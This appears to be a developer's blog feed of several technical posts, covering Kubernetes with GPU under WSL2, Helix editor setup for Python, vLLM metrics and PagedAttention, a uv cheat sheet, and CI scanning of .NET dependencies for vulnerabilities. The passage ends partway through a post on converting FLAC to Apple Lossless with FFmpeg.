Andrey Krisanov

Running Kubernetes with GPU inside WSL2 on my RTX Laptop

2026-04-22T00:00:00+00:00

Why I did this</h2>

I wanted a local environment where I can:

run Kubernetes</li>
schedule GPU workloads</li>
experiment with CUDA / inference / device plugins</li>

without renting cloud GPUs</li> </ul>

I have a Lenovo Legion laptop with an RTX GPU and WSL2. Turns out:

Yes, you can run Kubernetes with GPU access inside WSL2. But there are a couple of non-obvious traps. </blockquote>

This is a step-by-step guide based on a working setup.

TL;DR</h2>

Final stack:

Windows 11 + NVIDIA driver (WSL-enabled)</li>
WSL2 (Ubuntu 24.04)</li>
K3s (containerd)</li>
NVIDIA Container Toolkit</li>
NVIDIA device plugin</li>

One critical fix: device plugin must use runtimeClassName: nvidia</code></li> </ul> Prerequisites</h2> You need: Windows 11</li> NVIDIA GPU (RTX in my case)</li> Latest NVIDIA driver with WSL support</li> WSL2 installed</li> </ul> Inside WSL: nvidia-smi</code></pre> If this works — you’re good. Step 1: Don’t install Linux NVIDIA drivers</h2> WSL already provides everything via: /usr/lib/wsl/lib/</code></pre> If nvidia-smi</code> is missing: echo 'export PATH=$PATH:/usr/lib/wsl/lib' >> ~/.bashrc source ~/.bashrc</code></pre> Do NOT run: apt install nvidia-utils-*</code></pre> You will break your setup. Step 2: Install NVIDIA Container Toolkit</h2> curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | \ sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \ sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \ sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list sudo apt update sudo apt install -y nvidia-container-toolkit</code></pre>Step 3: Verify GPU in containers (Podman)</h2> Generate CDI config: sudo mkdir -p /etc/cdi sudo nvidia-ctk cdi generate --output=/etc/cdi/nvidia.yaml</code></pre> Test: podman run --rm --device=nvidia.com/gpu=all ubuntu nvidia-smi</code></pre>Step 4: Install K3s</h2> Make sure systemd is enabled: ps -p 1 -o comm=</code></pre> Should print: systemd</code></pre> Install K3s: curl -sfL https://get.k3s.io | sh -</code></pre> Configure kubeconfig: mkdir -p ~/.kube sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config sudo chown $USER:$USER ~/.kube/config export KUBECONFIG=~/.kube/config</code></pre> Check: kubectl get nodes</code></pre>Step 5: Enable NVIDIA runtime in K3s</h2> sudo nvidia-ctk runtime configure --runtime=containerd sudo systemctl restart k3s</code></pre> Verify: sudo grep nvidia /var/lib/rancher/k3s/agent/etc/containerd/config.toml</code></pre>Step 6: Install NVIDIA device plugin</h2> kubectl apply -f \ https://raw.githubusercontent.com/NVIDIA/k8s-device-plugin/v0.17.1/deployments/static/nvidia-device-plugin.yml</code></pre> Check: kubectl get ds -n kube-system | grep nvidia kubectl get pods -n kube-system | grep nvidia</code></pre>Step 7: The critical fix (WSL2-specific)</h2> At this point the plugin runs but sees zero GPUs. Logs look like: No devices found. Waiting indefinitely.</code></pre> Fix: kubectl patch daemonset nvidia-device-plugin-daemonset \ -n kube-system \ --type='merge' \ -p '{"spec":{"template":{"spec":{"runtimeClassName":"nvidia"}}}}'</code></pre> Restart pod: kubectl delete pod -n kube-system -l name=nvidia-device-plugin-ds</code></pre> Verify: kubectl get node -o jsonpath='{.status.capacity.nvidia\.com/gpu}'</code></pre> Expected: 1</code></pre>Step 8: Run a GPU workload</h2> cat <<'EOF' | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: cuda-smoke-test spec: restartPolicy: Never runtimeClassName: nvidia containers: - name: cuda image: nvcr.io/nvidia/k8s/cuda-sample:nbody args: ["nbody", "-gpu", "-benchmark"] resources: limits: nvidia.com/gpu: 1 EOF</code></pre> Watch: kubectl get pod cuda-smoke-test -w kubectl logs cuda-smoke-test</code></pre>What actually broke on my first attempts</h2> Everything worked except one subtle thing: The NVIDIA device plugin itself was running under the wrong runtime. </blockquote> Even though, containerd knew about NVIDIA, Podman could use GPU, and CUDA worked. The plugin pod still used default runtime → no GPU → no resources. Setting: runtimeClassName: nvidia</code></pre> fixed it. Final result</h2> After following these steps, you should have: local Kubernetes cluster</li> GPU scheduling</li> CUDA workloads</li> no cloud costs</li> </ul> All inside WSL2. When to use this</h2> This setup is good for: learning Kubernetes GPU scheduling</li> testing inference workloads</li> experimenting with device plugins</li> prototyping LLM infra locally</li> </ul> Not great for: performance benchmarking</li> multi-GPU experiments</li> production-like environments</li> </ul> One last tip</h2> Save your working config: kubectl get ds nvidia-device-plugin-daemonset -n kube-system -o yaml > nvidia-device-plugin-wsl2.yaml</code></pre> This saves you from debugging this again later.

Helix for Python Development 2026-03-29T00:00:00+00:00 In a day to day life, I'm big Visual Studio Code user. I use it for all my working and personal projects, and most of the time, I love it. I've been using this editor for years while switching between different languages and ecosystems, and it has been a great companion for my development journey. I truly appreciate the effort that Microsoft has put into making VS Code a versatile and powerful tool for all sorts of developers. However, with the rise of coding agents and chat-based interfaces, I've found myself looking for a less distracting and more focused coding environment. I want something that allows me to immerse myself in the code without the constant notifications and status updates that come in panels and sidebars. Especially when I read books and try to reimplement the concepts and examples in code. For that reason, I've been exploring Helix, a terminal-based code editor that promises to be fast, efficient, and yet powerful enough for modern development. I've already configured Helix for working with code in Go, and it has been a great experience. Unfortunately, I haven't written a note for myself about setting up Helix back then. Such a pitty. To avoid the same mistake, here's a note about how I set up Helix for Python development, including LSP, type checker (ty), code formatter (ruff) and more. I hope this cheat sheet will be useful for anyone else and save you some time. A quick disclaimer: I'm a macOS user, so some of the instructions may be specific to that platform. However, most of the tools and configurations should work on other operating systems as well. Before we start, how do you even check whether Helix is configured for Python development? The easiest way is to run this command in the terminal: hx --health python</code></pre> In my case, the output looks like this: Configured language servers: ✘ ty: 'ty' not found in $PATH ✘ ruff: 'ruff' not found in $PATH ✘ jedi: 'jedi-language-server' not found in $PATH ✘ pylsp: 'pylsp' not found in $PATH Configured debug adapter: None Configured formatter: None Tree-sitter parser: ✓ Highlight queries: ✓ Textobject queries: ✓ Indent queries: ✓</code></pre> As you can see, I haven't configured any language servers or formatters yet, but I have the Tree-sitter parser and queries set up. Let's fix that. As many of us, I'm a big fan of Astral's tools, so I'll be using uv</a> to manage dependencies. uv tool install ruff uv tool install ty</code></pre> This will install ruff (code formatter) and ty (type checker) as command-line tools that we can use in Helix. On macOS, uv tool install puts executables in a user bin directory that must be on your PATH. The exact path depends on your setup, but a very common fix is: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc source ~/.zshrc</code></pre> Execute the command above if you haven't already, and then check that the tools are available: which ruff which ty</code></pre> If which shows nothing, Helix will not see them either. Now, let's check the health again: hx --health python</code></pre> The output should now look like this: Configured language servers: ✓ ty: /Users/akrisanov/.local/bin/ty ✓ ruff: /Users/akrisanov/.local/bin/ruff ✘ jedi: 'jedi-language-server' not found in $PATH ✘ pylsp: 'pylsp' not found in $PATH Configured debug adapter: None Configured formatter: None Tree-sitter parser: ✓ Highlight queries: ✓ Textobject queries: ✓ Indent queries: ✓</code></pre> To make the tools work in Helix, we need to add some configuration. Open the Helix configuration file (usually located at ~/.config/helix/languages.toml</code>) and add the following lines: [[language]] name = "python" language-servers = ["ruff", "ty"] auto-format = true formatter = { command = "ruff", args = ["format", "-"] } [language-server.ruff] command = "ruff" args = ["server"] [language-server.ty] command = "ty" args = ["server"]</code></pre> The final part is to make debugpy</code> available for debugging. You can install it with pip: pip install debugpy</code></pre> and then append the following lines to the Helix configuration file: [language.debugger] name = "debugpy" transport = "stdio" command = "python3" args = ["-m", "debugpy.adapter"] [[language.debugger.templates]] name = "source" request = "launch" completion = [ { name = "entrypoint", completion = "filename", default = "." } ] args = { mode = "debug", program = "{0}" }</code></pre> Now you should have a fully configured Helix for Python development, with ruff</code> as the code formatter and ty</code> as the type checker. Enjoy! vLLM Metrics in Production 2026-01-28T00:00:00+00:00 Why this cheat sheet exists</h2> If you operate vLLM in production, you already know the feeling: the model is "up", GPUs look busy, but users complain that the chat is sluggish. Someone suggests "add more GPUs", someone else says "the prompts got longer", and the discussion goes in circles. The fastest way to stop guessing is to watch a small set of vLLM metrics and interpret them consistently. This post is a practical playbook for software and AI engineers: what each metric really tells you</li> how to query it in Prometheus</li> what actions typically fix the problem</li> </ul> It's intentionally opinionated and optimized for on-call reality. How vLLM metrics are named</h2> vLLM exports Prometheus metrics with the vllm:</code> prefix. When Prometheus scrapes them, the colon becomes an underscore. vllm:num_requests_running</code> becomes vllm_num_requests_running</code></li> </ul> Also pay attention to metric types, because they decide how you query: Latency metrics are histograms (*_seconds_bucket</code>). You compute percentiles with histogram_quantile()</code>.</li> Throughput metrics are counters (*_total</code>). You compute rates with rate()</code>.</li> State / saturation metrics are gauges. You graph them directly and alert on thresholds.</li> </ul> One more thing: vLLM shows you what happens inside the inference engine. For end-to-end production visibility, you still need gateway metrics (HTTP status codes, upstream latency, timeouts) and infrastructure metrics (GPU clocks/thermals/memory). The two latency numbers that define user experience</h2> In practice, you can reduce "LLM feels slow" to two metrics: TTFT (Time To First Token) — how quickly the user sees anything Metric: vllm:time_to_first_token_seconds</code></li> Includes queueing + prefill</li> This is the metric that makes chat feel "snappy" or "dead"</li> </ul> TPOT (Time Per Output Token) — how fast text streams once it starts Metric: vllm:time_per_output_token_seconds</code></li> Mostly decode phase</li> This is what users perceive as "typing speed"</li> </ul> There are also two supporting latency metrics that help you pinpoint the cause: Queue Time: vllm:request_queue_time_seconds</code></li> E2E latency: vllm:e2e_request_latency_seconds</code></li> </ul> PromQL: the percentile queries you'll actually use</h3> P95 TTFT</h3> histogram_quantile( 0.95, sum by (le) (rate(vllm_time_to_first_token_seconds_bucket[5m])) )</code></pre>P99 TPOT</h3> histogram_quantile( 0.99, sum by (le) (rate(vllm_time_per_output_token_seconds_bucket[5m])) )</code></pre>P95 Queue Time</h3> histogram_quantile( 0.95, sum by (le) (rate(vllm_request_queue_time_seconds_bucket[5m])) )</code></pre> vLLM reports latencies in seconds. If your brain works in milliseconds, just set the Grafana panel unit to Time → milliseconds (ms)</code>. </blockquote> The interpretation shortcut</h3> This is the fastest diagnostic rule I know: Queue Time grows, TPOT stays stable → you're short on capacity (not enough vLLM replicas / GPU capacity)</li> TPOT grows → generation slowed down (often long contexts, GPU contention, throttling, or overly aggressive concurrency)</li> </ul> Keep that in your head. It prevents most "random tuning". Throughput: are we doing useful work?</h2> Latency tells you what users feel. Throughput tells you whether your system is doing real work. vLLM exposes token counters: Prompt (input) tokens: vllm:prompt_tokens_total</code></li> Generated (output) tokens: vllm:generation_tokens_total</code></li> </ul> PromQL</h3> Input tokens per second</h3> sum(rate(vllm_prompt_tokens_total[5m]))</code></pre>Output tokens per second</h3> sum(rate(vllm_generation_tokens_total[5m]))</code></pre> If output tokens/s drops while traffic stays similar, you're usually looking at cache pressure, swapping, or too much concurrency. Saturation & concurrency: how close are we to the cliff?</h2> When a system degrades, it rarely does it politely. For vLLM, the "cliff" is typically KV cache pressure and swapping. Request state (scheduler pressure)</h3> Running: vllm:num_requests_running</code> — requests actively executing on GPU</li> Waiting: vllm:num_requests_waiting</code> — queue size; if it's consistently > 0, you're operating at/above capacity</li> Swapped: vllm:num_requests_swapped</code> — requests evicted to CPU RAM (this is bad)</li> </ul> If you only alert on one gauge, make it this: Any swapped requests (num_requests_swapped > 0</code>) should be treated as a production incident. </blockquote> KV cache pressure (the silent killer)</h3> GPU cache usage: vllm:gpu_cache_usage_perc</code> (0.0–1.0) Under sustained load, a stable zone is often 0.7–0.9</li> If it sits at 1.0, swapping becomes likely</li> </ul> </li> CPU cache usage: vllm:cpu_cache_usage_perc</code></li> </ul> The reason this matters: once swapping starts, you'll see brutal latency spikes because you're moving blocks between GPU and CPU. Errors: why requests finish (and what "abort" usually means)</h2> vLLM tracks why requests stop via: vllm:finished_request_total{finish_reason="..."}</code></li> </ul> Common reasons: stop</code> — normal completion (EOS)</li> length</code> — hit max_tokens</code></li> abort</code> — cancelled by user or failed due to an error</li> </ul> PromQL: breakdown by finish reason</h3> sum by (finish_reason) (rate(vllm_finished_request_total[5m]))</code></pre> What I've seen in production: Spikes in length</code> often mean your max_tokens</code> default is too low for a real workload</li> Spikes in abort</code> often correlate with gateway timeouts, client disconnects, or engine-level failures</li> </ul> The "golden signals" dashboard for vLLM</h2> If you want one dashboard that's worth opening during an incident, build it around these signals: P95 TTFT — responsiveness</li> P99 TPOT — generation speed stability</li> Queue size (num_requests_waiting</code>) — capacity pressure</li> Swapped requests — must be zero</li> GPU KV cache usage — predictive saturation</li> Token throughput — real work (input/output tokens per second)</li> </ol> A practical Grafana dashboard JSON</h3> You can import this as a starting point: { "dashboard": { "id": null, "title": "vLLM Production Golden Signals", "tags": ["vllm", "llm", "inference"], "timezone": "browser", "schemaVersion": 38, "panels": [ { "title": "System Saturation (GPU Cache & Swapping)", "type": "gauge", "gridPos": { "h": 8, "w": 12, "x": 0, "y": 0 }, "targets": [ { "expr": "vllm_gpu_cache_usage_perc * 100", "legendFormat": "GPU Cache Fill %" } ], "fieldConfig": { "defaults": { "min": 0, "max": 100, "unit": "percent", "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "orange", "value": 80 }, { "color": "red", "value": 95 } ] } } } }, { "title": "Active & Waiting Requests", "type": "timeseries", "gridPos": { "h": 8, "w": 12, "x": 12, "y": 0 }, "targets": [ { "expr": "vllm_num_requests_running", "legendFormat": "Running (Concurrency)" }, { "expr": "vllm_num_requests_waiting", "legendFormat": "Waiting in Queue" }, { "expr": "vllm_num_requests_swapped", "legendFormat": "Swapped (Preemption!)" } ] }, { "title": "Latency P95 (TTFT vs TPOT)", "type": "timeseries", "gridPos": { "h": 8, "w": 12, "x": 0, "y": 8 }, "targets": [ { "expr": "histogram_quantile(0.95, sum by (le) (rate(vllm_time_to_first_token_seconds_bucket[5m])))", "legendFormat": "P95 TTFT" }, { "expr": "histogram_quantile(0.95, sum by (le) (rate(vllm_time_per_output_token_seconds_bucket[5m])))", "legendFormat": "P95 TPOT" } ], "fieldConfig": { "defaults": { "unit": "s" } } }, { "title": "Token Throughput", "type": "timeseries", "gridPos": { "h": 8, "w": 12, "x": 12, "y": 8 }, "targets": [ { "expr": "sum(rate(vllm_generation_tokens_total[5m]))", "legendFormat": "Output Tokens/s" }, { "expr": "sum(rate(vllm_prompt_tokens_total[5m]))", "legendFormat": "Input Tokens/s" } ] } ], "templating": { "list": [ { "name": "datasource", "type": "datasource", "query": "prometheus", "refresh": 1 } ] } } }</code></pre>Alerts that save you before users start complaining</h2> You don't need 30 alerts. You need 5 that are hard to ignore. PrometheusRule example</h3> groups: - name: vLLM.Alerts rules: - alert: vLLMHighTTFT expr: histogram_quantile(0.95, sum by (le, instance) (rate(vllm_time_to_first_token_seconds_bucket[5m]))) > 3 for: 5m labels: severity: critical annotations: summary: "High TTFT on instance {{ $labels.instance }}" description: "P95 TTFT is {{ $value | printf \"%.2f\" }}s. Users see long delays before the first token." - alert: vLLMQueueBacklog expr: histogram_quantile(0.95, sum by (le, instance) (rate(vllm_request_queue_time_seconds_bucket[5m]))) > 5 for: 2m labels: severity: warning annotations: summary: "Requests are queuing on {{ $labels.instance }}" description: "P95 Queue Time is {{ $value | printf \"%.2f\" }}s. Engine cannot keep up." - alert: vLLMRequestSwapping expr: vllm_num_requests_swapped > 0 for: 1m labels: severity: critical annotations: summary: "vLLM is swapping requests to CPU" description: "Instance {{ $labels.instance }} has {{ $value }} swapped requests. This indicates severe KV cache pressure and causes latency spikes." - alert: vLLMGPUCacheFull expr: vllm_gpu_cache_usage_perc > 0.95 for: 5m labels: severity: warning annotations: summary: "GPU KV Cache is nearly full" description: "Cache usage on {{ $labels.instance }} is {{ $value | printf \"%.2f\" }} (fraction). Expect queueing or swapping soon." - alert: vLLMHighAbortRate expr: | sum by (instance) (rate(vllm_finished_request_total{finish_reason="abort"}[5m])) / sum by (instance) (rate(vllm_finished_request_total[5m])) > 0.1 for: 2m labels: severity: critical annotations: summary: "High abort rate on {{ $labels.instance }}" description: "Abort ratio > 10% (current: {{ $value | printf \"%.2f\" }}). Investigate client timeouts and engine errors."</code></pre>Runbook: metrics → diagnosis → action</h2> When an alert fires or users complain, here's a quick guide to interpret the signals and take action. Scenario 1: TTFT is high</h3> What you see</h4> P95 TTFT rises</li> Queue Time rises</li> num_requests_waiting</code> > 0</li> </ul> What it usually means</h4> You're under-provisioned for current RPS, or prompts got longer (prefill became expensive).</li> </ul> What to do</h4> Scale out (more vLLM replicas / GPU nodes)</li> If scaling is slow: reduce concurrency temporarily to avoid swapping spirals</li> Consider routing “cheap/system” prompts to a smaller model pool</li> </ul> Scenario 2: TPOT is high (generation slowed)</h3> What you see</h4> P99 TPOT rises</li> Output tokens/s drops</li> </ul> What it usually means</h4> Longer contexts / more decode work, GPU contention, throttling, or too aggressive concurrency.</li> </ul> What to do</h4> Check GPU-level signals (clocks, thermals, power limits, utilization)</li> Reduce concurrency limits (e.g., max_num_seqs</code>) if decode becomes unstable</li> Revisit prompt/output length distributions; enforce sane max_tokens</code> defaults</li> </ul> Scenario 3: Swapping detected</h3> What you see</h4> num_requests_swapped</code> > 0</li> Latency spikes; throughput collapses</li> </ul> What it means</h4> KV cache doesn’t fit the current working set (too many concurrent contexts).</li> </ul> What to do (in order)</h4> Reduce load or concurrency fast (stabilize the system)</li> Reduce memory pressure (often: reduce max_num_batched_tokens</code>)</li> Scale out (more replicas / more GPU capacity)</li> Separate model pools and route workloads more carefully</li> </ol> Scenario 4: Abort rate spikes</h3> What you see</h4> finish_reason="abort"</code> rises</li> </ul> What it usually means</h4> Client disconnects / gateway timeouts, or engine-level failures.</li> </ul> What to do</h4> Check gateway timeout configs (upstream read timeouts, streaming timeouts)</li> Inspect vLLM logs for CUDA/runtime errors</li> Correlate abort spikes with queue time spikes (clients often give up)</li> </ul> Final checklist</h2> One golden signals dashboard: TTFT, TPOT, queue, swapped, KV cache, tokens/s</li> Gateway metrics: HTTP codes, upstream latency, timeouts (otherwise you'll misdiagnose aborts)</li> Five alerts: high TTFT, backlog, swapping, KV cache near full, abort ratio spike</li> A runbook: "queue vs TPOT vs swapping" → clear actions</li> </ul> If you want one mental model: queueing means you’re out of capacity; swapping means you’ve crossed the line. Why vLLM Scales: Paging the KV-Cache for Faster LLM Inference 2026-01-27T00:00:00+00:00 If you’ve ever tried to serve large language models at scale, you’ve probably hit the same wall: VRAM runs out much earlier than expected, batching stops scaling, and latency becomes unpredictable. vLLM</a> exists almost entirely to fix this. At its core, vLLM is a high-performance LLM inference engine that dramatically improves GPU utilization. The key idea behind it is PagedAttention</a> – a different way to manage the KV-cache that removes most of the memory waste common in traditional LLM serving stacks. Let’s break down why this is such a big deal. The Core Problem: KV-Cache Fragmentation</h2> In traditional LLM serving systems, the KV-cache (the keys and values representing token context) must live in a single contiguous block of GPU memory. There’s a catch: you don’t know in advance how long the model’s answer will be. So the system plays it safe and reserves memory for the maximum context length – say, 2048 or 4096 tokens – for every request. The result? Large chunks of VRAM are reserved but never used</li> Memory becomes fragmented</li> Up to 60–80% of KV-cache memory is effectively wasted</li> </ul> That wasted VRAM could have been used to serve more requests in parallel. PagedAttention: Borrowing an Idea from Operating Systems</h2> PagedAttention takes inspiration from virtual memory and paging in operating systems. Instead of allocating one big contiguous block per request, it does this: Split KV-cache into fixed-size blocks. Each request’s KV-cache is divided into blocks (for example, 16 or 32 tokens per block).</li> No need for physical continuity. These blocks can live anywhere in VRAM – they don’t have to be next to each other.</li> Virtual addressing with a Block Table. vLLM keeps a mapping from logical token order to physical memory blocks on the GPU.</li> Allocate memory only when needed. New blocks are allocated only when new tokens are generated – no upfront over-reservation.</li> </ol> This single change unlocks most of vLLM’s performance gains. Key Effects of Paged KV-cache</h2> Almost no external fragmentation</h3> Because blocks don’t need to be contiguous, free memory can be reused efficiently instead of becoming unusable holes. Minimal internal fragmentation</h3> Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%. Much larger batch sizes</h3> Better memory efficiency means more concurrent requests per GPU, which is the main driver of performance on modern GPUs. Massive throughput gains</h3> In practice, this enables: 2–4× throughput vs. TGI</li> Up to ~24× vs. naïve Hugging Face serving setups</li> </ul> True continuous batching</h3> New requests can be added as soon as finished ones free blocks – no need to wait for a full batch boundary. Memory sharing (prefix / prompt caching)</h3> Multiple requests can point to the same physical blocks for shared prefixes (system prompts, long examples). Copy-on-write when sequences diverge</h3> If you generate multiple completions from the same prompt, new blocks are allocated only when outputs differ. This can save up to ~55% of KV-cache memory. Better TTFT under load (indirectly)</h3> PagedAttention doesn’t speed up the first token itself, but higher throughput clears queues faster – reducing queue time, which users perceive as better TTFT. Graceful preemption and swapping</h3> If VRAM runs low, individual blocks can be swapped to CPU memory instead of crashing the server with OOM. No recomputation</h3> Unlike approaches that drop KV-cache under pressure, PagedAttention preserves progress and resumes generation without re-processing the prompt. Block Size: A Subtle but Important Knob</h2> Block size affects: Internal fragmentation</li> Metadata and indexing overhead</li> Eviction and preemption behavior (if used)</li> </ul> Smaller blocks = better memory efficiency, higher overhead. Larger blocks = lower overhead, more wasted tail space. There’s no universal best value – it depends on workload shape. A Note About Prefill vs Decode</h2> It’s important to separate these phases: Prefill</h3> Often compute- or memory-bound</li> Cost grows with input sequence length</li> </ul> Decode</h3> Usually memory-bandwidth-bound</li> Heavily dependent on KV-cache efficiency and batching</li> TTFT (Time to First Token) = queue time + prefill latency</li> </ul> PagedAttention mainly improves decode throughput. So if you see this pattern: tokens/sec ↑</li> p99 TTFT unchanged (or worse)</li> </ul> You optimized decode, but you’re still bottlenecked on queueing or prefill. Why vLLM Became the Default Choice</h2> vLLM didn’t win because of a single micro-optimization. It won because PagedAttention fundamentally changes how GPU memory is used for LLM serving. If you care about: high throughput</li> stable latency under load</li> efficient use of expensive GPUs</li> </ul> then understanding vLLM is no longer optional – it’s baseline knowledge for modern LLM infrastructure. uv: Cargo-like Python Tool That Replaces pipx, pyenv, and more 2025-09-10T00:00:00+00:00 Overview</h2> uv</code> is an end-to-end solution for managing Python projects</a>, command-line tools</a>, single-file scripts</a>, and even Python itself</a>. </blockquote> Think of it as Python’s Cargo: a unified, cross‑platform tool that’s fast, reliable, and easy to use. This post is not a deep introduction to uv — many excellent articles already exist; instead, it’s a concise cheat sheet for everyday use. Installation & Updates</h2> # Install curl -LsSf https://astral.sh/uv/install.sh | sh # Update uv self update</code></pre>Managing Python Versions</h2> Instead of juggling tools like pyenv, mise, asdf, or OS‑specific hacks, you can simply use uv: # List available versions uv python list # Install Python 3.13 uv python install 3.13</code></pre> Works the same across all OSes</li> No admin rights required</li> Independent of system Python</li> </ul> You can also use mise</a> alongside uv if you prefer a global version manager. Projects & Dependencies</h2> Initialize a new project (creates a pyproject.toml automatically): uv init myproject or # uv init -p 3.13 --name myproject cd myproject</code></pre> Sync dependencies (similar to pip install -r requirements.txt</code>, but faster and more reliable): uv sync</code></pre> Add dependencies: uv add litestar uv add pytest --dev</code></pre> Lock dependencies (generates a cross‑platform lockfile, like Pipfile.lock or poetry.lock): uv lock</code></pre> 💡 The lock file is cross platform, so you can develop on Windows and deploy on Linux. </blockquote> Fast Virtual Environments</h2> # Create & activate venv automatically uv venv source .venv/bin/activate # Or skip activation and run directly with uv: uv run python app.py</code></pre>Scripts</h2> # Create a new script uv init --script</code></pre># /// script # requires-python = ">=3.13" # dependencies = [ # "requests", # ] # /// import requests print(requests.get("https://akrisanov.com"))</code></pre> Run single‑file scripts with automatic dependency installation: uv run script.py</code></pre> 💡 On *nix, add #!/usr/bin/env -S uv run</code> (then chmod +x</code>) to automatically call uv run</code> for a script. </blockquote> Tools</h2> Install CLI tools globally, isolated from system Python: uv tool install ruff # replaces pipx uv tool install httpie uvx httpie # a shortcut # --with [temp dependency] runs jupyter in the current project # without adding it and its dependencies to the project uv run --with jupyter jupyter notebook</code></pre> 💡 uv</code> run is fast enough that it implicitly re‑locks and re‑syncs the project each time, keeping your environment up to date automatically. </blockquote> If you're developing a CLI tool, uv can help minimize the friction: uv init --package your_tool uv tool install . -e</code></pre> See the tools documentation</a> Replacing pip-tools</h2> uv pip compile # replaces pip-tools compile uv pip sync # replaces pip-tools sync</code></pre>Building and publishing packages</h2> # Build a `.whl` package for PyPI uv build # Upload your Python package to PyPI uv publish</code></pre>Pre-commit hooks</h2> uv run --with pre-commit-uv pre-commit run --all-files pre-commit-uv</code></pre>GitHub Actions</h2> astral-sh/setup-uv # brings UV to GitHub Actions</code></pre>Docker</h2> Official Docker images provide uv and Python preinstalled: ghcr.io/astral-sh/uv:latest</code></pre> Also, check Production-ready Python Docker Containers with uv</a> by Hynek Schlawack. Workspaces</h2> uv</code> supports organizing one or more packages into a workspace</a> to manage them together. Example: you might have a FastAPI web application alongside several libraries, all versioned and maintained as separate Python packages in the same Git repository. In a workspace, each package has its own pyproject.toml</code>, but the workspace shares a single lockfile, ensuring that the workspace operates with a consistent set of dependencies. Things to Keep in Mind</h2> uv sync</code> respects .python-version</code>, but the UV_PYTHON</code> environment variable takes precedence</li> Uses python‑build‑standalone, which can be slightly slower than system builds (~1–3%) and lacks CPU‑specific optimizations</li> Cache size can grow large (a trade‑off for speed and reliability)</li> Legacy projects may fail if they depended on pip’s older, looser dependency resolution rules</li> </ul> Why uv Matters</h2> Python has always had a fragmented ecosystem of tools: pip, pip-tools, virtualenv, venv, pipx, pyenv, poetry, tox… With uv, we finally get something closer to Rust’s Cargo or JavaScript’s npm/pnpm: a single, consistent, cross‑platform tool for environments, dependencies, scripts, and tools — and it’s fast. References & Further Reading</h2> Dependency Sources</a> — explains how uv resolves dependencies</li> UV with Django</a></li> PEP 723 – Inline script metadata</a></li> WIP: Using uv run as a task runner</a></li> </ul> Additional Notes</h2> While some people don’t care about uv being fast, it’s shaved minutes off CI builds and container rebuilds — saving money and energy.</li> Astral capitalized on a very promising project called python-build-standalone</a> and now maintains it. These are Python builds that work without installers.</li> </ul> Identifying Vulnerable Dependencies In .NET Projects 2024-05-07T00:00:00+00:00 Some time ago, I was working in a company that was building a SaaS that was written in .NET. The code base was a decade old, and like many companies using Microsoft technologies, it had been through a few framework upgrades. The intent was to move to modern technologies and refactor outdated components, but the execution was rather poor. By the time I put on my engineering manager's hat, many of the NuGet packages in the solution were out of date and even deprecated. In Python and Go projects, I rely heavily on linting, static analysis, and formatting tools. Not having these essentials would make me and my teams less productive. So the first thing I did was understand what modern .NET brings to the table in this area. And I started by scanning the NuGet packages we use in all of our projects in a single solution for potential vulnerabilities. It turned out that developers could simply run dotnet list package --vulnerable</code> locally to keep an eye on security. But without automation, it's too easy to forget about that. My first local scan produced the following result: ... Project `X.Infrastructure.Calendar` has the following vulnerable packages [net6.0]: Top-level Package Requested Resolved Severity Advisory URL > System.Data.SqlClient 4.8.3 4.8.3 Moderate https://github.com/advisories/GHSA-8g2p-5pqh-5jmc High https://github.com/advisories/GHSA-98g6-xh36-x2p7 The given project `X.Infrastructure.Common` has no vulnerable packages given the current sources. Project `X.Infrastructure.Currency` has the following vulnerable packages [net6.0]: Top-level Package Requested Resolved Severity Advisory URL > System.Data.SqlClient 4.8.3 4.8.3 Moderate https://github.com/advisories/GHSA-8g2p-5pqh-5jmc High https://github.com/advisories/GHSA-98g6-xh36-x2p7 Project `X.Infrastructure.Locker` has the following vulnerable packages [net6.0]: Top-level Package Requested Resolved Severity Advisory URL > System.Data.SqlClient 4.8.3 4.8.3 Moderate https://github.com/advisories/GHSA-8g2p-5pqh-5jmc High https://github.com/advisories/GHSA-98g6-xh36-x2p7 The given project `X.Infrastructure.Locker.Tests.Unit` has no vulnerable packages given the current sources. The given project `X.Infrastructure.Pool` has no vulnerable packages given the current sources. Project `X.Infrastructure.Repositories` has the following vulnerable packages [net6.0]: Top-level Package Requested Resolved Severity Advisory URL > System.Data.SqlClient 4.8.3 4.8.3 Moderate https://github.com/advisories/GHSA-8g2p-5pqh-5jmc High https://github.com/advisories/GHSA-98g6-xh36-x2p7 The given project `X.Infrastructure.Rules` has no vulnerable packages given the current sources. ...</code></pre> As you can see, there are several projects vulnerable to CVE-2022-41064</a>. .NET Framework System.Data.SqlClient versions prior to 4.8.5 and Microsoft.Data.SqlClient versions prior to 1.1.4 and 2.0.0 prior to 2.1.2 is vulnerable to Information Disclosure Vulnerability. </blockquote> To get rid of the issue, it's enough to upgrade the package: dotnet add package System.Data.SqlClient -v 4.8.6</code></pre> Now, how can developers prevent such situations? You already know the answer: automation! After sharing my observations with the team, I created a merge request with a new GitLab pipeline that runs for every open merge request and master branch. These are the changes in the .gitlab-ci.yml</code> manifest: stages: - security vulnarable-dependencies: stage: security image: mcr.microsoft.com/dotnet/sdk:6.0-bullseye-slim before_script: - dotnet restore script: - dotnet list package --vulnerable 2>&1 | tee vulnerable-packages.log - >- ! grep -qiw "critical\|high\|moderate\|low" vulnerable-packages.log; if [ $? -ne 0 ]; then echo "🚨 Found vulnarable packages"; exit 1 else exit 0 fi artifacts: when: always expire_in: 12h paths: - vulnerable-packages.log only: - master - merge_requests tags: - docker</code></pre> The pipeline will fail if any of the projects in the solution have vulnerable packages. The downloadable log file contains the list of vulnerabilities and their severity. This way, the team is always aware of the state of the dependencies and can take action to fix them. References: How to Scan NuGet Packages for Security Vulnerabilities</a></li> </ul> Convert Flac to Apple Lossless With FFmpeg 2023-10-23T00:00:00+00:00 I'm a longtime Apple Music user. Most of my so-called music collection is on the streaming service. However, I occasionally buy rare or remastered releases ripped from CDs. These releases are usually in the FLAC format, which Apple Music doesn't support. But I've found an easy workaround that allows me to organize and play albums on the go. The centerpiece of the workaround is FFmpeg. So if you don't already have it installed, it's worth installing now: brew install 